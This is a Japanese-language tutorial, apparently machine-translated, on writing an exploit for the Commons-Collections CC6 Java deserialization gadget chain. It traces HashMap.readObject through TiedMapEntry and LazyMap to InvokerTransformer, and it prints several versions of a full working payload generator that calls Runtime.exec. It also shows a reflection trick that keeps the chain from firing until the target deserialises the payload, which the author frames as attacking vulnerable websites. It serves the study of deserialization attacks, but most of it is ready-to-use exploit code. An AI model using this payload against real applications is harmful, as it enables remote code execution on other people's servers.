この記事では、CC 利用チェーンをより深く理解し、EXP ライティングの概念をより深く学ぶことができます。
この記事を読むには、最初の 3 つの記事を理解する必要があります。読む順序は次のとおりです。
もちろんCCチェーンベースのマスターをお持ちであれば安心してご利用いただけます
脆弱性の影響を受けるバージョン
JDKのバージョンは制限されない
コモンズコレクション <= 3.2.1
鎖でとかす
反序列化 --> HashMap.readObject() --> TiedMapEntry.hashCode() --> LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform()
この CC6 利用チェーンと、前の 2 つの記事の CC1 の 2 つのチェーンの違いは、HashMap の逆シリアル化を使用して利用チェーンを形成していることです。HashMap は多くのシナリオで使用されるため、開発者は通常、HashMap を簡単に変更しません。 CC6 チェーンは JDK バージョンによる制限を受けません。Commons-Collections バージョンでのみ制限されます。
もう一つのポイントは、CC6 チェーンで使用されるメソッドが hashCode() であることですが、たまたま commons-collections の TiedMapEntry クラスにも hashCode() があるため、この場所はURLDNS でチェーン EXP を使用して記述されたソースコード解析に似ています。このコラム、素晴らしいですね。
チェーンを使用してアイデアを見つけて分析する
CC6 利用チェーンでは、検索アイデアは一度に 1 レベルずつ上がるわけではありません。前の利用チェーンの調査を通じてチェーンの後半を決定しているため、検索アイデアは最初から行うことができます。利用LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform()
チェーン 当初、以前の CC1 チェーンの 2 つのチェーンはAnnotationInvocationHandler
JDK 内のクラスに依存しているため、このクラスは JDK のバージョンに影響を受けるため、使用する他のクラスを見つける必要があります。 , シリアル化できるだけでなく, 依然として非常に一般的に使用されるデータ構造です. これは一般に JDK バージョンでは簡単に変更されません. URLDNS 利用チェーンに関する以前の研究の後, 私たちは次のアイデアを考えることができますURLDNS 利用チェーン。デシリアライズ時に HashMap を使用できますか? hashCode() メソッドの機能はデフォルトで呼び出され、その後は hashCode() メソッドで別のクラスを見つけるだけで済みます。案の定、マスターはいずれかのクラスを見つけました。 commons-collections には hashCode() メソッドがあり、このTiedMapEntry类
クラスには図に示すようにシリアル化できる Serializable インターフェイスも実装されています。
getValue() メソッドが呼び出されると、 getValue() メソッドが表示されます。
このメソッドでは get() メソッドが呼び出されているだけで、キーとマップの両方が制御可能であることがわかります。ここではチェーンの後半で LazyMap の get() メソッドに接続されているだけです。
ソースコード分析
チェーンを使用してアイデアを見つける上記の分析によると、TiedMapEntry オブジェクトを構築し、それを HashMap に渡し、デシリアライズ時に自動的に hashCode() メソッドを呼び出すだけで、チェーンの後半の利用が完了することがわかりました。では、どのように構築すればよいでしょうか? TiedMapEntry についてはどうでしょうか? LazyMap オブジェクトを TiedMapEntry オブジェクトのコンストラクターに渡すだけです。
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
逆シリアル化するとき、TiedMapEntry のメソッドはプロセス hashCode() --> getValue() --> map.get() を呼び出します。これにより、lazyMap の get() メソッドを直接呼び出すことができるため、CC6 の後半に接続できます。鎖
この TiedMapEntry オブジェクトを構築した後の次のステップは、HashMap オブジェクトを構築し、TiedMapEntry をキーとして HashMap に保存することです。これにより、チェーンの前半が大まかに形成されます: HashMap.readObject() --> TiedMapEntry.hashCode() :
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
EXP準備の暫定完了
次のステップでは、map2 オブジェクトをシリアル化してペイロードを生成するため、後半チェーンのコードと合わせて書き込みます。これで、EXP の書き込みが最初に完了します。
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-16 10:56
**/
public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
//将chainedTransformer对象封装进LazyMap中
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
//序列化payload
ByteArrayOutputStream barr = serialize(map2);
serialize(map2);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
}
EXPの問題分析
EXP の初期完了後、実行して問題が発生し、直接計算機を呼び出したのですが、シリアル化しただけで逆シリアル化メソッドを呼び出していないのはなぜでしょうか? 以下で分析してみましょう。
この EXP では、HashMap の hashCode() 呼び出しを使用してチェーン呼び出しをトリガーします。このコードを実行すると、実際にmap2.put(tiedMapEntry,"yuan_boss");
hashCode() メソッドを呼び出して利用チェーンを形成し、その後、計算機をトリガーします。電卓を起動するということは、目標が達成されたことを意味すると思いますか?
私たちの目標は計算機をトリガーすることではありませんが、逆シリアル化中に計算機をトリガーできるようにすることが最終的な目標です。なぜなら、最終的には、テストのためにシリアル化されたペイロードを脆弱性のある Web サイトに渡し、ペイロードをシリアル化して生成するときに悪意のあるコードを実行するのではなく、逆シリアル化するときに Web サイトに悪意のあるコードをトリガーさせる必要があるからです。
したがって、逆シリアル化メソッドを追加し、シリアル化されたペイロードをテストしてから、逆シリアル化ポイントをブレークして、逆シリアル化によって計算機が再度トリガーされるかどうかを確認する必要があります。
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-16 10:56
**/
public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
//将chainedTransformer对象封装进LazyMap中
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
//序列化payload
ByteArrayOutputStream barr = serialize(map2);
serialize(map2);
unSerialize(barr);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = oos.readObject();
System.out.println(o);
}
}
しかし、unSerialize(barr);
ブレークポイントがこの行に達した後、計算機をトリガーできないことが判明したため、逆シリアル化中にエクスプロイト チェーンに入っていないと推測できます。次に、ソース コードの分析が開始され、TiedMapEntry の hashCode()図に示すように、オブジェクトは逆シリアル化中に呼び出されました。メソッドを呼び出してから、TiedMapEntry の getValue() メソッドを呼び出します。
次に、LazyMap の get() メソッドが呼び出され、LazyMap の get() メソッドが表示されます。
また、transform() メソッドを呼び出すには条件も必要であることがわかります。get() メソッドで渡された key パラメータがマップ内に存在する場合、transform() メソッドは呼び出されません。マップ内に存在しない場合は、if ステートメントに入り、transform() メソッドを呼び出してエクスプロイト チェーンを実行します。しかし、LazyMap クラスの get() メソッドでは、次のようになります。
map.put(key,value)
これは、渡したキーと値がマップに配置されることを意味します。後でマップの get メソッドを呼び出すと、キーがすでにマップに存在していることがわかり、transform メソッドは呼び出されません。その後、LazyMap のキーを削除する必要があります。これは、逆シリアル化中にキーが存在するために、transform() メソッドを呼び出すことができなくなるのを避けるため、キーを削除する必要があります。
lazyMap.remove("yuan666");
上記の分析の後、EXP を完成させることができます。
EXPの予備向上
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-15 19:53
**/
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
//为了避免在put的时候就执行恶意代码,于是将LazyMap的第二个参数设置为没用的对象
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
//移除lazyMap中的key,否则反序列化的时候由于具有key,就不会调用transform()方法了
lazyMap.remove("yuan666");
//重新给给LazyMap的第二个参数设置为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
ByteArrayOutputStream barr = serialize(map2);
UnSerialize(barr);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = oos.readObject();
System.out.println(o);
}
}
最終経験値
なぜなら、上記の EXP には実際に最適化できる微妙な場所があるからです。つまり、これを配置すると、悪意のあるコードを実行するための使用チェーンがトリガーされますが、これは無意味であり、悪意のあるコードが非常に危険な場合、影響はありますか?独自のクライアントであるため、それ自体に害を及ぼさないようにするには、まず悪意のある LazyMap オブジェクトの 2 番目のパラメータを悪意のないコードに変更し、その後、Transformer がシリアル化される前に、リフレクションを通じて LazyMap オブジェクトの 2 番目のパラメータを悪意のあるものに設定する必要があります。十分。
したがって、LazyMap の構築方法に次の変更を加えて、LazyMap の Transformer オブジェクトを悪意のないオブジェクトに変更します。
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
次に、シリアル化の前にリフレクションを介して LazyMap を設定します。
//重新给给LazyMap的第二个参数设置为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
次に、最終的に EXP を調整できます。
最终EXP
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-16 10:56
**/
public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
//将非恶意的ConstantTransformer对象封装进LazyMap中,防止在本机执行恶意代码
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
lazyMap.remove("yuan666");
//重新给给LazyMap的第二个参数设置为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
//序列化payload
ByteArrayOutputStream barr = serialize(map2);
unSerialize(barr);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = oos.readObject();
System.out.println(o);
}
}